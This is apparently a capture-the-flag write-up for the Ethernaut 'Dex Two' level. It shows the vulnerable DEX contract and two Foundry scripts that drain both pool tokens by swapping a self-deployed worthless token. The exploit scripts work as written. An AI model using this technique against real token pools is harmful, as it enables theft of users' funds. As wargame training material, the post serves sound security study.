---
layout: post
title: "[Ethernaut] 23.Dex Two"
tags: blockchain ethernaut foundry dex precision_loss
---

# Analysis

---

The goal is “drain all balances of token1 and token2 from the `DexTwo` contract”.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}
```

Compared to the 'Dex' contract, the `swap()` function can use tokens other than `token1` or `token2` .

# Exploit

---

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/DexTwo.sol";
import "forge-std/Script.sol";
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract Token3 is ERC20 {
    constructor() ERC20("Token3", "TK3") {
        _mint(msg.sender, 2);
    }
}

contract DexTwoSol is Script {
    DexTwo public dt_ = DexTwo(0x0e88F53DdCBCCF6375A81100d0Bec91876FC8e3c);

    function run() external {
        vm.startBroadcast();

        Token3 token3 = new Token3();
        IERC20(token3).transfer(address(dt_), 1);

        dt_.approve(address(dt_), 100);
        IERC20(token3).approve(address(dt_), 1);
        
        dt_.swap(dt_.token1(), dt_.token2(), 10);
        dt_.swap(dt_.token2(), dt_.token1(), 20);
        dt_.swap(dt_.token1(), dt_.token2(), 24);
        dt_.swap(dt_.token2(), dt_.token1(), 30);
        dt_.swap(dt_.token1(), dt_.token2(), 41);
        dt_.swap(dt_.token2(), dt_.token1(), 45);
        dt_.swap(address(token3), dt_.token2(), 1);
        console.log("My token1 balance:", dt_.balanceOf(dt_.token1(), msg.sender));
        console.log("My token2 balance:", dt_.balanceOf(dt_.token2(), msg.sender));
        console.log("My token3 balance:", IERC20(token3).balanceOf(msg.sender));
        console.log("Dex's token1 balance:", dt_.balanceOf(dt_.token1(), address(dt_)));
        console.log("Dex's token2 balance:", dt_.balanceOf(dt_.token2(), address(dt_)));
        console.log("Dex's token3 balance:", IERC20(token3).balanceOf(address(dt_)));

        vm.stopBroadcast();
    }
}
```

We deploy a malicious token (`token3`) and swap it for `token2`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/DexTwo.sol";
import "forge-std/Script.sol";
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract Token3 is ERC20 {
    DexTwo public dt_ = DexTwo(0x0e88F53DdCBCCF6375A81100d0Bec91876FC8e3c);

    constructor() ERC20("Token3", "TK3") {
        _mint(msg.sender, 2);
        _mint(address(dt_), 1);
    }

    function burn(address account, uint256 amount) public {
        _burn(account, amount);
    }
}

contract DexTwoSol is Script {
    DexTwo public dt_ = DexTwo(0x0e88F53DdCBCCF6375A81100d0Bec91876FC8e3c);

    function run() external {
        vm.startBroadcast();

        Token3 token3 = new Token3();

        IERC20(token3).approve(address(dt_), 2);
        dt_.swap(address(token3), dt_.token1(), 1);
        token3.burn(address(dt_), 1);
        dt_.swap(address(token3), dt_.token2(), 1);

        console.log("My token1 balance:", dt_.balanceOf(dt_.token1(), msg.sender));
        console.log("My token2 balance:", dt_.balanceOf(dt_.token2(), msg.sender));
        console.log("My token3 balance:", IERC20(token3).balanceOf(msg.sender));
        console.log("Dex's token1 balance:", dt_.balanceOf(dt_.token1(), address(dt_)));
        console.log("Dex's token2 balance:", dt_.balanceOf(dt_.token2(), address(dt_)));
        console.log("Dex's token3 balance:", IERC20(token3).balanceOf(address(dt_)));

        vm.stopBroadcast();
    }
}
```

We can also achieve the goal by exploiting precision loss through fewer `swap`.